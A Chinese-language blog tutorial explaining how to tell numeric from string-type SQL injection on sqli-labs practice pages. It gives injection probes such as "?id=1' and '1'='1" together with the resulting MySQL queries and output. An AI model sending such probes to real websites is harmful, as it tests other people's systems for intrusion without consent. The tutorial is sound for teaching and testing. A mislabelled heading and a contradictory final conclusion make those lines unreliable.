如何判断是字符型注入还是数字型注入

字符型注入和整数型注入的区别

通常 Sql 注入漏洞分为 2 种类型
数字型
字符型
其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。

1.数字型注入的判断

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:

select * from <表名> where id = x

例如:

mysql> select * from users where id=1 ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec) 这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

Url 地址中输入 http://10.9.0.4/Less-2/?id=1 and 1=1

页面依旧运行正常,继续进行下一步。

Url 地址中继续输入 http://10.9.0.4/Less-2/?id=1 and 1=2

页面运行错误,则说明此 Sql 注入为数字型注入。

原因如下:

当输入 and 1=1时,后台执行 Sql 语句:

select * from <表名> where id = x and 1=1
mysql> SELECT * FROM users WHERE id=1 and 1=1 ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

没有语法错误且逻辑判断为正确,所以返回正常。

当输入 and 1=2时,后台执行 Sql 语句:

select * from <表名> where id = x and 1=2
mysql> SELECT * FROM users WHERE id=1 and 1=2 ;
Empty set (0.00 sec)

没有语法错误但是逻辑判断为假,所以返回错误。

我们再使用假设法:

如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:

select * from <表名> where id = 'x and 1=1'
mysql> SELECT * FROM users WHERE id='1 and 1=1' ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)

select * from <表名> where id = 'x and 1=2'
mysql> SELECT * FROM users WHERE id='1 and 1=2' ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)

查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

2.整数型注入判断

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下

select * from <表名> where id = 'x'
mysql> SELECT * FROM users WHERE id='1' ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.01 sec)

这种类型我们同样可以使用 and '1'='1 和 and '1'='2来判断:

Url 地址中输入 http://10.9.0.4/Less-1/?id=1' and '1'='1

页面运行正常,继续进行下一步。

Url 地址中继续输入 http://10.9.0.4/Less-1/?id=1' and '1'='2

页面运行错误,则说明此 Sql 注入为字符型注入。

原因如下:

当输入 and '1'='1时,后台执行 Sql 语句:

select * from <表名> where id = 'x' and '1'='1'
mysql> SELECT * FROM users WHERE id='1' and '1'='1';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

语法正确,逻辑判断正确,所以返回正确。

当输入 and '1'='2时,后台执行 Sql 语句:

select * from <表名> where id = 'x' and '1'='2'
mysql> SELECT * FROM users WHERE id='1' and '1'='2';
Empty set (0.00 sec)

语法正确,但逻辑判断错误,所以返回正确。

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注